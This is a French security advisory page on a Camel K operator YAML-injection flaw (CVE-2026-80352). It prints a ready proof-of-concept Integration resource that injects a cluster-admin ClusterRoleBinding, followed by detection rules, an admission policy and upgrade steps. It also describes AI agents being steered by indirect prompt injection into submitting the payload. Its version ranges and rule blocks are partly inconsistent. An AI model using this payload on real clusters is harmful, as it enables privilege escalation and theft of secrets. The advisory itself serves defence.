Aller au contenu

CVE-2026-80352 : élévation de privilèges d'opérateur Kubernetes par injection YAML dans le trait master d'Apache camel k

HERMES

HERMES THREAT SCORE & RISQUE D'ÉLÉVATION SUR L'OPÉRATEUR

Cible : Opérateur Apache Camel K - Réconciliateur du trait Master & CRD Integration
Confiance : 95%
91 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 18 / 20
Activité de menace 16 / 20
Militarisation 17 / 20
Exposition 18 / 20
Prévalence 17 / 20
Impact 20 / 20
Maturité de l'exploit 18 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 évalue la vulnérabilité CVE-2026-80352 à 8.8 (Élevé) en conditionnant l'attaque à des privilèges faibles (PR:L pour soumettre une ressource personnalisée Integration). Le Hermes Threat Score élève cette sévérité à 91 (CRITIQUE). Dans les architectures cloud-natives modernes et les pipelines d'agents autonomes (tels que LangChain, Flowise ou les connecteurs Camel-AI), des comptes de service restreints ou des agents génératifs soumettent en continu des ressources Integration au sein de namespaces cloisonnés. L'opérateur agit alors comme un mandataire confus (Confused Deputy) : il réconcilie le YAML injecté avec ses propres privilèges d'administration de cluster, instanciant des ClusterRoleBindings ou des DaemonSets privilégiés et détruisant l'étanchéité multi-locataire.

HASS

SCORE DE SÉVÉRITÉ AGENTIQUE HASS & COMPROMISSION DE PIPELINE

Cible : Pipelines d'agents autonomes & connecteurs d'intégration sans serveur
Confiance : 95%
89 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 18 / 20
Accès aux outils & APIs 19 / 20
Privilege 15 / 15
Persistence 13 / 15
External Impact 14 / 15
Propagation 14 / 15
⚖️ Divergence & Justification opérationnelle

Les agents d'IA autonomes et les orchestrateurs LLM instancient dynamiquement des intégrations Camel K pour connecter des bases vectorielles, des API d'entreprise et des flux d'événements. Un agent compromis ou soumis à une injection de prompt indirecte capable d'influencer les traits d'une ressource Integration peut armer cette injection YAML pour s'évader de son bac à sable, usurper les jetons de l'opérateur et prendre le contrôle du cluster Kubernetes hôte.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-80352: Kubernetes Operator Privilege Escalation via Master Trait YAML Injection in Apache Camel KVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTApache Camel K
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Apache Camel K documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique & matrice des versions affectées

Section intitulée « 1. Contexte technique & matrice des versions affectées »

Apache Camel K transforme des définitions d’intégration déclaratives (rédigées en Java, YAML, Kotlin ou Groovy) en conteneurs opérationnels au sein d’un cluster Kubernetes. L’opérateur pilote les compilations, la génération d’images et le déploiement des pods.

ParamètreSpécification techniqueImpact opérationnel
Identifiant CVECVE-2026-80352Référence de l’avis de sécurité officiel Apache Camel
Classe de faiblesseInjection YAML / Mandataire confus (CWE-94)Génération de manifeste sans neutralisation de délimiteur
Composant vulnérableOpérateur Camel K — Gestionnaire du trait MasterRéconciliateur synthétisant les déploiements et rôles RBAC
Mécanisme déclencheurPropriété traits.master.serviceAccountNameInjection multiligne brisant la structure du document YAML
Privilèges requisFaibles (PR:L — droit de créer une ressource Integration)Développeur d’espace restreint ou exécuteur de pipeline IA
Privilèges obtenusAdministrateur de cluster (cluster-admin)L’opérateur applique l’objet avec son compte de service
Versions affectées2.0.0 <= v < 2.9.3, 2.10.1Clusters multi-tenants Kubernetes & Red Hat OpenShift
Versions corrigées2.9.3, 2.10.2, 2.11.0Versions officielles appliquant un assainissement strict

2. Anatomie de la vulnérabilité & analyse de cause racine

Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »

Dans Camel K, les traits sont des modules d’extension configurant des fonctionnalités d’infrastructure (ports réseau, Knative, ingress, ou élection de leader). Le trait Master (master) garantit qu’une seule instance d’une route d’intégration traite les flux à la fois, tandis que les répliques secondaires restent en attente active d’un verrou de basculement.

Pour configurer ce comportement, les intégrations définissent des paramètres dans leur ressource personnalisée :

apiVersion: camel.apache.org/v1
kind: Integration
metadata:
name: integration-securisee
spec:
traits:
master:
configuration:
serviceAccountName: "compte-pipeline"

Durant la boucle de réconciliation, le processus opérateur de Camel K analyse la spécification de l’Integration et construit les manifestes Kubernetes associés (rôles d’accès aux baux Lease, liaisons de comptes et déploiements).

Dans les versions vulnérables antérieures à 2.9.3 et 2.10.2, l’opérateur assemblait ces manifestes via du formatage textuel brut plutôt qu’en manipulant des structures de données Go fortement typées (k8s.io/api/...) ou des encodeurs YAML stricts. Le champ serviceAccountName était injecté directement par interpolation de chaîne.

Faute de filtrage des retours à la ligne (\n), un attaquant peut soumettre une chaîne multiligne contenant le séparateur de document YAML ---. L’analyseur syntaxique clôt alors le manifeste prévu et commence l’interprétation d’un nouveau document Kubernetes arbitraire :

traits.master.configuration.serviceAccountName = "sa-legitime\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\n..."

La mécanique du mandataire confus (confused deputy)

Section intitulée « La mécanique du mandataire confus (confused deputy) »

L’opérateur Camel K doit pouvoir gérer des définitions de ressources, déployer des pods, monter des secrets et manipuler le réseau à l’échelle du cluster. Son compte de service (ServiceAccount) est fréquemment doté du rôle cluster-admin.

Lorsque l’opérateur soumet le flux YAML généré à l’API Server Kubernetes, ce dernier traite le document injecté comme une requête légitime émanant de l’opérateur lui-même. Les contrôles RBAC qui limitaient l’attaquant à son namespace d’origine sont totalement court-circuités.


3. Vecteurs de menace, cinématique d’exploitation & flux d’attaque

Section intitulée « 3. Vecteurs de menace, cinématique d’exploitation & flux d’attaque »
flowchart TD
A["Attaquant / Agent IA compromis"] -->|"Crée une CR Integration avec payload multiligne"| B["API Server Kubernetes (Espace restreint)"]
B -->|"Événement de réconciliation"| C["Contrôleur Opérateur Camel K"]
C -->|"Interpole serviceAccountName non assaini"| D["Flux interne de manifestes YAML"]
D -->|"Interprète le délimiteur ---"| E["ClusterRoleBinding injecté : cluster-admin"]
C -->|"Applique les manifestes avec le token opérateur"| F["API Server Kubernetes (Portée Cluster)"]
F -->|"Attribue cluster-admin au compte de l'attaquant"| G["Prise de contrôle totale du cluster"]

Un attaquant disposant uniquement d’un accès au namespace dev-sandbox déploie une ressource personnalisée Integration contenant un trait Master piégé :

apiVersion: camel.apache.org/v1
kind: Integration
metadata:
name: escalade-privileges-poc
namespace: dev-sandbox
spec:
sources:
- name: route.groovy
content: "from('timer:tick?period=5000').log('pwned')"
traits:
master:
configuration:
serviceAccountName: |
default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: liaison-privesc-camelk
subjects:
- kind: ServiceAccount
name: default
namespace: dev-sandbox
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io

Lors de la réconciliation :

  1. L’opérateur traite la configuration du trait Master.
  2. Le saut de ligne dans serviceAccountName injecte le document ClusterRoleBinding.
  3. L’opérateur envoie l’ensemble du flux à l’API Server via son compte de service privilégié.
  4. Le compte default de l’espace dev-sandbox reçoit instantanément les prérogatives cluster-admin.
  5. L’attaquant peut déployer des conteneurs avec montage de la racine de l’hôte (/) ou extraire les secrets du cluster.

4. Impact doctrinal sur les infrastructures d’agents IA & les clouds multi-tenants

Section intitulée « 4. Impact doctrinal sur les infrastructures d’agents IA & les clouds multi-tenants »

La militarisation de la vulnérabilité CVE-2026-80352 engendre des risques majeurs pour les architectures agentiques modernes :

1. Empoisonnement d’outils et de connecteurs pour agents autonomes

Section intitulée « 1. Empoisonnement d’outils et de connecteurs pour agents autonomes »

Les agents de développement et d’orchestration (LangChain, AutoGen, assistants de code) exploitent Camel K pour agréger dynamiquement des API et des bases vectorielles. Un attaquant guidant un agent via une injection de prompt indirecte peut amener celui-ci à générer une ressource Integration piégée, transformant l’agent en vecteur d’évasion du cluster.

2. Rupture de l’étanchéité multi-tenant Kubernetes

Section intitulée « 2. Rupture de l’étanchéité multi-tenant Kubernetes »

Dans les clusters mutualisés, la sécurité repose sur l’isolation stricte par namespaces et RBAC. Parce que Camel K est fréquemment partagé pour optimiser les ressources, cette vulnérabilité anéantit le cloisonnement multi-locataire.

3. Exfiltration de modèles d’IA et de secrets d’entreprise

Section intitulée « 3. Exfiltration de modèles d’IA et de secrets d’entreprise »

L’accès cluster-admin confère la lecture immédiate de tous les objets Secret : jetons d’API de modèles de fondation (OpenAI, Anthropic, Google), identifiants de bases vectorielles (Pinecone, Qdrant, Milvus) et clés de chiffrement de production.


5. Chasse aux menaces, détection & investigation forensique

Section intitulée « 5. Chasse aux menaces, détection & investigation forensique »

Recherchez les événements de création d’objets ClusterRoleBinding où l’utilisateur requérant correspond au compte de l’opérateur Camel K :

{
"verb": "create",
"requestURI": "/apis/rbac.authorization.k8s.io/v1/clusterrolebindings",
"user": {
"username": "system:serviceaccount:camel-k:camel-k-operator"
},
"objectRef": {
"resource": "clusterrolebindings",
"apiGroup": "rbac.authorization.k8s.io"
},
"responseStatus": {
"code": 201
}
}

Règle Sigma : création suspecte de ClusterRoleBinding par l’opérateur camel k

Section intitulée « Règle Sigma : création suspecte de ClusterRoleBinding par l’opérateur camel k »
title: Création suspecte de ClusterRoleBinding par l'opérateur Apache Camel K (CVE-2026-80352)
id: cve-2026-80352-camelk-privesc-fr
status: experimental
description: Détecte la création de liaisons de rôles de cluster par le compte de service de l'opérateur Apache Camel K, signe d'exploitation d'une injection YAML.
author: Hermes Codex Threat Intelligence
date: 2026-09-11
references:
- https://camel.apache.org/security/CVE-2026-80352.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-80352
tags:
- attack.privilege_escalation
- attack.t1068
- attack.t1078.004
logsource:
product: kubernetes
service: audit
detection:
selection_operator:
user.username|contains: camel-k-operator
selection_verb:
verb:
- create
- patch
- update
selection_target:
objectRef.resource: clusterrolebindings
objectRef.apiGroup: rbac.authorization.k8s.io
condition: selection_operator and selection_verb and selection_target
falsepositives:
- Déploiement initial ou mise à niveau manuelle de l'opérateur par un administrateur cluster légitime.
level: critical
- rule: Creation suspecte de ClusterRoleBinding par l'operateur Camel K
desc: Détecte la création de ClusterRoleBinding non autorisé par l'opérateur Camel K
condition: >
k8s.target.resource = "clusterrolebindings" and
k8s.verb in ("create", "update", "patch") and
ka.user.name startswith "system:serviceaccount:" and
ka.user.name contains "camel-k"
output: >
Création suspecte de ClusterRoleBinding par l'opérateur Camel K (user=%ka.user.name resource=%k8s.target.name namespace=%k8s.target.namespace payload=%ka.req.binding.subjects)
priority: CRITICAL
tags: [k8s, rbac, privilege_escalation, cve-2026-80352]

Requête KQL (Microsoft Sentinel / azure log analytics)

Section intitulée « Requête KQL (Microsoft Sentinel / azure log analytics) »
// Recherche d'escalade de privilèges RBAC par l'opérateur Camel K
KubeAudit
| where TimeGenerated >= ago(7d)
| where ObjectRef_Resource =~ "clusterrolebindings"
| where Verb in ("create", "patch", "update")
| where User_Username has "camel-k"
| project TimeGenerated, User_Username, ObjectRef_Namespace, ObjectRef_Name, ResponseStatus_code, RequestObject
| order by TimeGenerated desc

Phase tactiqueIdentifiant techniqueNom de la techniqueRôle dans l’attaque
Accès initialT1190Exploit Public-Facing ApplicationSoumission d’une ressource personnalisée piégée à l’API
Élévation de privilègesT1068Exploitation for Privilege EscalationMandataire confus exploitant les droits de l’opérateur
PersistanceT1078.004Valid Accounts: Cloud/Container AccountsUtilisation du compte bénéficiaire de la liaison cluster-admin
ExécutionT1610Deploy ContainerLancement de conteneurs privilégiés accédant à l’hôte
Évasion de défenseT1562.001Impair Defenses: Disable or Modify ToolsContournement des quotas et politiques de namespace
Mouvement latéralT1611Escape to HostÉvasion de conteneur via montage de volume racine hôte

1. Mise à niveau immédiate de l’opérateur camel k

Section intitulée « 1. Mise à niveau immédiate de l’opérateur camel k »

Appliquez sans délai les versions publiées le 10 septembre 2026 :

  • Branche 2.9.x : mettre à niveau vers 2.9.3 (ou ultérieure)
  • Branche 2.10.x : mettre à niveau vers 2.10.2 (ou ultérieure)
  • Branche 2.11.x : mettre à niveau vers 2.11.0 (ou ultérieure)
Fenêtre de terminal
# Mise à niveau via la CLI kamel
kamel install --upgrade --operator-id camel-k -n camel-k
# Ou mise à niveau via Helm
helm repo update
helm upgrade camel-k redhat-camel/camel-k -n camel-k --version 2.10.2

2. Durcissement par contrôleur d’admission (ValidatingAdmissionPolicy)

Section intitulée « 2. Durcissement par contrôleur d’admission (ValidatingAdmissionPolicy) »

Mettez en place une politique d’admission native pour interdire les retours à la ligne (\n) et séparateurs YAML (---) dans les traits d’intégration :

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
name: bloquer-injection-yaml-camel-k
spec:
failurePolicy: Fail
matchConstraints:
resourceRules:
- apiGroups: ["camel.apache.org"]
apiVersions: ["v1"]
operations: ["CREATE", "UPDATE"]
resources: ["integrations"]
validations:
- expression: >
!has(object.spec.traits.master) ||
!has(object.spec.traits.master.configuration) ||
!has(object.spec.traits.master.configuration.serviceAccountName) ||
(!object.spec.traits.master.configuration.serviceAccountName.contains("
") &&
!object.spec.traits.master.configuration.serviceAccountName.contains("---"))
message: "Politique de sécurité : serviceAccountName ne doit pas contenir de saut de ligne ou de délimiteur YAML."

3. Principe du moindre privilège pour le compte de service opérateur

Section intitulée « 3. Principe du moindre privilège pour le compte de service opérateur »

Restreignez le rayon d’action de l’opérateur en évitant les installations globales avec cluster-admin. Privilégiez une surveillance circonscrite à des espaces de noms désignés via des objets Role et RoleBinding locaux.


8. Renseignement sur les menaces associées & références

Section intitulée « 8. Renseignement sur les menaces associées & références »